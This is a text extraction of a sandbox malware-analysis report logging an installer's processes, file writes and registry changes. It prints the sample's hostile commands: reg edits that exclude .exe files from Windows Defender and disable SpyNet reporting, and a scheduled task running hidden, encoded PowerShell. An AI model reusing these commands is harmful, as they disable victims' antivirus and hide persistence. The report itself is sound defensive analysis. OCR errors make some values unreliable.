Copyright Joe Security LLC 2022

Completion

success or wait

Completion

success or wait

success or wait

Completion

success or wait

Completion

success or wait
success or wait
success or wait

success or wait

Count

1

Count

1
1

Count

109

Count
85

1

3

7

405A47

Source Address

404BF3
404BF3

Source Address

405CB0

Source Address
405B97
405B97
405B97
405B97

Source Address

Symbol

CreateFileW

Symbol

DeleteFileA
DeleteFileA

Symbol

WriteFile

Symbol

ReadFile
ReadFile
ReadFile
ReadFile
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Reputation: low

File Activities

File Created
File Path

C:\Windows\system32\GroupPolicy\gpt.ini

C:\Users\user\AppData\Local\Te
mp\VXAfcxyYiTQKMOERwW

C:\Users\user\AppData\Local\Te
mp\VXAfcxy YiTQKMOERw\efplSHrLkKviaSK

C:\Users\user\AppData\Local\Te
mp\VXAfcxy YiTQKMOERw\efplSHrLkKviaSK\pdyDolJ.exe

File Path

File Moved
Old File Path New File Path

C:\Windows\SysWOW64\GroupPolicy

File Written
File Path Offset Length
C:\Windows\System32\GroupPolic 0 268

y\gpt.ini

Copyright Joe Security LLC 2022

Access Attributes Options

read attributes |  device synchronous io

synchronize | non alert | non

generic write directory file

read data or list  device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list  device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list  device sequential only |

directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\Windows\SysWOW64\GroupPolicykaNvH

Value

5b 47 65 6e 65 72 61 6¢
5d 0a 67 50 43 55 73 65
72 4578 74 65 6e 73 69
6f 6e 4e 61 6d 65 73 3d
5b 7b 33 35 33 37 38 45
41 43 2d 36 38 33 46 2d
313144 32 2d 41 38 39
41 2d 30 30 43 30 34 46
4242 43 46 41 327d 7b
44 303242314637 33
2d 33 34 30 37 2d 34 38
41 45 2d 42 41 38 38 2d
45 38 32 31 33 43 36 37
36 31 46 31 7d 5d 0a 67
50 43 4d 61 63 68 69 6e
65 45 78 74 65 6e 73 69
6f 6e 4e 61 6d 65 73 3d
5b 7b 33 35 33 37 38 45
41 43 2d 36 38 33 46 2d
313144 32 2d 41 38 39
41 2d 30 30 43 30 34 46
4242 4346 41327d 7b
30 46 36 42 39 35 37 45
2d 35 30 39 45 2d 31 31
44 312d 41374343 2d
30 30 30 30 46 38 37 35
37 314533 7d 7b 44 30
3242 3146 37 32 2d 33
34 30 37 2d 34 38 41 45
2d 42 41 38 38 2d 45 38
32 31 33 43 36 37 36 31
46 31 7d 5d Oa 56 65

Completion

success or wait

success or wait

success or wait

success or wait

non directory file

Completion

Completi

ion

success or wait

Ascii

[Generall]gPCUserExtens
ionNames=[{35378EAC-
683F-11D2-A89A-00C
04FBBCFA2}{D02B1F73-
3407-48AE-BA88-
E8213C6761F1}]gPCMac
hineExtensionNames=
[{35378EAC-683F-11D2-
A89A-00C04FBBCFA2}
{OF6B957E-509E-11D1-
A7CC-0000F87571E3}
{D02B1F72-3407-48AE-
BA88-E821
3C6761F1}]Ve

Completion

success or wait

Count Source Address Symbol
1 100777E1 CreateFileW
1 100765E7 CreateDirect
oryW
1 100765E7 CreateDirect
oryW
1 100C4595 CopyFileW
Count Source Address Symbol
Count Source Address Symbol
1 100769B6 MoveFileW
Count Source Address Symbol
1 10076FCA WriteFile
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File Path Offset Length Value Ascii Completion Count Source Address
C:\Users\user\AppData\Local\Te 0 524288 4d 5afd 0003000000 MZ@!L!This program success or wait 14 100C4595
mp\VXAfcxyYiTQKMOERw\efpISHrLk 04 00 00 00 fd fd 00 00 fd = cannot be run in DOS
KviaSK\pdyDolJ.exe 00 00 00 00 00 00 00 40  mode.$uwC$CSCENFSI$
00 00 00 00 0000 0000  NF$$ENFL%$$SHECSPS
00 00 00 00 00 00 00 00  $WSNF$BS$SBSRI
00 00 00 00 00 00 00 00 chC$PELh*
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 07 75
fd 77 43 14 fd 24 43 14 fd
24 43 14 fd 24 4e 46 1a
24 6¢ 14 fd 24 4e 46 24
24 04 14 fd 24 4e 46 25
24 fd 14 fd 24 fd fd Oe 24
48 14 fd 24 43 14 fd 24
50 15 fd 24 fd fd 20 24 57
14 fd 24 4e 46 1e 24 42
14 fd 24 fd fd 1b 24 42 14
fd 24 52 69 63 68 43 14
fd 24 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
05 00 fd fd 68 5e 00 00
00 00 00 00 00 00 fd 00
02
File Path Offset Length Completion Count Source Address
Registry Activities
Key Value Modified
. Source
Key Path Name Type Old Data New Data Completion Count Address
HKEY_LOCAL_MACH PendingFileRena unicode array \?? \?? success or wait 1 100BB8C7
INE\SYSTEM\Cont meOperations \C:\Users\user\AppData\L  \C:\Users\user\AppDat
rolSet001\Control\Ses oca a\Loca
sion Manager \Temp\VXAfcxyYITQKMO  NTemp\VXAfexyYiTQK
ERw\efplS MOERw\efplS
HrLkKviaSK\pdyDolJ.exe\  HrLkKviaSK\pdyDolJ.e
?22C:\W xe\??2\C:\W
indows\Temp\aoRCsjFoxF indows\Temp\aoRCsjF
bwPJxK\M oxFbwPJxK\M
eXzroudxpEgwUW\RFYnz = eXzroudxpEgwUW\RF
aH.exe\??\ YnzaH.exe\??\
C:\Windows\Temp\aoRCsj = C:\Windows\Temp\ao
FoxFbwPJ RCsjFoxFbwPJ
xK\MeXzroudxpEgwUW xK\MeXzroudxpEgwU
W\??\C:\Users
\user\AppData\Local\T
emp\7zS2D

Analysis Process: forfiles.exe PID: 5112, Parent PID: 3408

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

3

19:15:10

24/11/2022
C:\Windows\SysWOWS64\forfiles.exe

true

0C.tmp\Install.exe

Symbol

CopyFileW

Symbol

Symbol

MoveFileExW

C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\E
xclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v

\"exe\" /t REG_SZ /d 0 /reg:64&

0x10f0000

41472 bytes
4329CB18F8F74CC8DDE2C858BB80E5DS

true

Copyright Joe Security LLC 2022
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Has administrator
privileges:

Programmed in:

Reputation:

File Activities

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 5648, Parent PID: 5112

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

4
19:15:10

24/11/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff745070000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: forfiles.exe PID: 5640, Parent PID: 3408

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

5

19:15:10

24/11/2022
C:\Windows\SysWOWS64\forfiles.exe

true

Options

Completion

Count Source Address

Symbol

C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defenden\S
pynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"Spy

NetReporting\" /t REG_DWORD /d 0 /reg:64&
0x10f0000

41472 bytes
4329CB18F8F74CC8DDE2C858BB80E5SDS
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 5624, Parent PID: 5640

General
Target ID:
Start time:

Start date:

6
19:15:10
24/11/2022

Copyright Joe Security LLC 2022

Options

Completion

Count Source Address

Symbol
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Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff745070000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: cmd.exe PID: 5704, Parent PID: 5112

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

7

19:15:11

24/11/2022
C:\Windows\SysWOW64\cmd.exe

true

/C REG ADD "HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWA
RE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

0xb0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: cmd.exe PID: 5696, Parent PID: 5640

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

8

19:15:11

24/11/2022
C:\Windows\SysWOW64\cmd.exe

true

Options

Completion

Count Source Address

Symbol

/C REG ADD "HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "H
KLM\SOFTWARE\Policies\Microsoft\Windows Defenden\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

0xb0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Copyright Joe Security LLC 2022

Options

Completion

Count Source Address

Symbol
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Analysis Process: reg.exe PID: 5752, Parent PID: 5704

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

9

19:15:11

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Registry Activities

Key Created
Key Path

Access Attributes

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions

Options

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions

Key Value Created
Key Path

HKEY_LOCAL_MACHINE\SOFT  exe

Name Type Data

unicode 0

WARE\Policies\Microsoft\Windows
Defender\Exclusions\Extensions

Analysis Process: reg.exe PID: 3128, Parent PID: 5696

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

10

19:15:11

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

Completion

Completion

success or wait

success or wait

Completion

success or wait

Count Source Address

Count Source Address
1 1C5709
1 1C5709

Count Source Address

1 1C5A1D

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting” /t REG_DWORD /d 0 /reg:32

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Registry Activities

Key Created

Access Attributes

Copyright Joe Security LLC 2022

Options

Completion

Count Source Address

Symbol

Symbol

RegCreateKeyEx
w

RegCreateKeyEx
w

Symbol

RegSetValueEx
W

Symbol
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Key Path

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Spynet

Key Value Created
Key Path

HKEY_LOCAL_MACHINE\SOFT

Name Data

Type

SpyNetReportin  dword 0

WARE\Policies\Microsoft\Windows g

Defender\Spynet

Analysis Process: reg.exe PID: 4644, Parent PID: 5704

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

11

19:15:11

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

Completion

success or wait

Completion

success or wait

Count

1

Count

1

Source Address

1C5709

Source Address

1C5A1D

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: reg.exe PID: 1412, Parent PID: 5696

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

12

19:15:11

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

Options

Completion

Count

Source Address

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting” /t REG_DWORD /d 0 /reg:64

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: schtasks.exe PID: 5792, Parent PID: 3408

General

Target ID:

Copyright Joe Security LLC 2022

Options

Completion

Count

Source Address

Symbol

RegCreateKeyEx
w

Symbol

RegSetValueEx
W

Symbol

Symbol
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Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

19:15:13
24/11/2022
C:\Windows\SysWOW64\schtasks.exe

true

schtasks /CREATE /TN "gbyyEsIRI" /SC once /ST 15:13:59 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwBOAGEAcgBOACOACAB
yAG8AYwWBIAHMAcwWAgACOAVWBPAG4AZABVAHCAUWBOAHKADABIACAASABPAGQAZABIAG4AIABNAHAAdQBWAGQAYQBOAGUALgBIAHgAZQAGACBAZ

gBvAHIAYWBIAA=="

0xde0000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 5804, Parent PID: 5792

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

14

19:15:14

24/11/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff745070000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 5992, Parent PID: 3408

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

15

19:15:14

24/11/2022
C:\Windows\SysWOW64\schtasks.exe
true

schtasks /run /I /tn "gbyyEsIRI"

0xde0000

185856 bytes
15FF7D8324231381BAD48A052F85DF04
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Copyright Joe Security LLC 2022

Options

Options

Completion

Completion

Count Source Address

Count Source Address

Symbol

Symbol
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Analysis Process: conhost.exe PID: 6040, Parent PID: 5992

General

Target ID: 16

Start time: 19:15:14

Start date: 24/11/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff745070000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: powershell.exe PID: 6060, Parent PID: 1080

General

Target ID: 17

Start time: 19:15:14

Start date: 24/11/2022

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell. EXE -WindowStyle Hidden -EncodedCommand cwBOAGEAcgBOACOACABYAG8AYwBIAHMAcwAg
ACOAVWBpAG4AZABVAHCAUWBOAHKAbABIACAASABpAGQAZABIAG4AIABNAHAAJQBWAGQAYQBOAGUALGBIAHGAZQAGACBAZgBVAHIAYWBIAA==

Imagebase: 0x7ff74b5f0000

File size: 447488 bytes

MD5 hash: 95000560239032BC68B4C2FDFCDEF913

Has elevated privileges: false

Has administrator false
privileges:
Programmed in: .Net C# or VB.NET

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Windows\system32\catroot read data or list  device directory file | object name collision 1 7FFC08B403FC unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\catroot2 read data or list  device directory file | object name collision 1 7FFC08B403FC unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\ _PSscr read attributes |  device sequential only |  success or wait 1 7FFC0B8D6FDD CreateFileW
iptPolicyTest_ambua3bc.cdi.ps1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\ _PSscr read attributes |  device sequential only |  success or wait 1 7FFC0B8D6FDD CreateFileW
iptPolicyTest_ctvry2t3.t3r.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Windows\system32\catroot read data or list  device directory file | object name collision 2 7FFC08B403FC unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Windows\system32\catroot2 read data or list  device directory file | object name collision 2 7FFC08B403FC unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Windows\system32\catroot read data or list  device directory file | object name collision 1 7FFC08B403FC unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Windows\system32\catroot2 read data or list  device directory file | object name collision 1 7FFC08B403FC unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 7FFCOCBAF1E9 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 7FFCOCBAF1E9 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
File Deleted
File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_ambua3bc.cdi.ps1 success or wait 1 7FFCOB8DF270 DeleteFileW
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_ctvry2t3.t3r.psm1 success or wait 1 7FFCOB8DF270 DeleteFileW
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
unknown 16 19 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
unknown 35 21 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
unknown 56 16 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
unknown 72 8 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
unknown 80 & 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
unknown 89 8 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
unknown 97 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49D7D unknown
C:\Users\user\AppData\Local\Te 0 1 31 1 success or wait 1 7FFC0B8DB526 WriteFile
mp\__PSscr
iptPolicyTest_ambua3bc.cdi.ps1
C:\Users\user\AppData\Local\Te 0 1 31 1 success or wait 1 7FFC0B8DB526 WriteFile
mp\__PSscr
iptPolicyTest_ctvry2t3.t3r.psm1
unknown 0 94 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFCO08B49FE5 unknown
unknown 106 45 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFCO08B49FE5 unknown
unknown 94 55 75 6e 6b 6e 6f 77 6e unknown success or wait 2 7FFCO08B49FE5 unknown
unknown 151 13 75 6e 6b 6e 6f 77 6e unknown success or wait 4 7FFCO8B49EED unknown
unknown 149 4214 75 6e 6b 6e 6f 77 6e unknown success or wait 2 7FFC08B49FES5 unknown
unknown 4363 25 75 6e 6b 6e 6f 77 6e unknown success or wait 4 7FFC08B49FES5 unknown
unknown 203 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFCO8B49EED unknown
unknown 14333 2642 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B49FES5 unknown
unknown 216 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFCO8B49EED unknown
unknown 229 13 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFCO8B49EED unknown
unknown 242 9 75 6e 6b 6e 6f 77 6e unknown success or wait 1 7FFC08B3BC97 unknown
C:\Users\user\AppData\Local\Mi 0 64 40000001 65000000 @e@ success or wait 1 7FFCOCFCF6E8 WriteFile
crosoft\Windows\PowerShell\Sta 00 00 00 00 00 00 00 00
rtupProfileData-NonlInteractive 00 00 00 00 00 00 00 00

0100 00 00 00 00 00 00
00 00 00 00 fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 40 00 fd
00 00 00 00 00 00 00 00
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File Read
File Path

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\ac26
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pb3
78ec07#\58553ff4dedfOb1dd22a283773a566fc\Microsoft.PowerShel
|.ConsoleHost.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\10a171
39182a9efd561f01fada9688a5\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\4
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manaa5
7fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.A
utomation.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Mf4
9f6405#\dfef7a1e85e28d0ba698946b7fc68a28\Microsoft.Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage
ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.d
Il.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Dired1
3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectorySer
vices.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xmi\f2
e3165e3c718b7ac302fea40614c984\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Numeri
cs\4f7e7¢29596d1fb84141220e627d94c\System.Numerics.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Data\9
9a2190301066e9665ec15a1f355a928e\System.Data.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonlInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P6f
7926261#\e64755e76f85a3062b9f5a99a62dcabb\Microsoft.PowerShel
1.Security.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Transa
ctions\773cde8eca09561aeac8ad051c091203\System. Transactions.
ni.dll.aux

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana
gement\1.0.0.1\PackageManagement.psd1
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Offset

unknown
unknown

unknown

unknown

unknown

unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4095
8173
4095

6135

176

4095
8173
4095

1248

620

900

2764

4095

8173

4095

8173
748

764

752

748

300

1540

864

64

22416

1268

924

4096

492

4096

4096

774

4096

Completion
success or wait
end of file

success or wait

success or wait

success or wait

success or wait
end of file

success or wait

success or wait

success or wait
success or wait
success or wait
success or wait
end of file

success or wait

end of file

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

end of file

end of file

success or wait

end of file

end of file

Count

1

1

1

Source Address

7FFCOCA7B9DD
7FFCOCA7B9DD
7FFCOCA7B9DD

7FFCOCA7B9DD

7FFCOCB512E7

7FFCOCAB82625
7FFCOCA82625
7FFCOCA82625

7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCA7B9DD

7FFCOCA7B9DD

7FFCOCA7B9DD

7FFCOCA7B9DD
7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCB512E7

7FFCOCA662DB

7FFCOCAB63B9

7FFCOCB512E7

7FFCOCB512E7

7FFC0OB8DB526

7FFC0OB8DB526

7FFC0B8DB526

7FFC0B8DB526

7FFC0OB8DB526

7FFC0OB8DB526

Symbol
unknown
unknown

unknown

unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
unknown
unknown
unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG
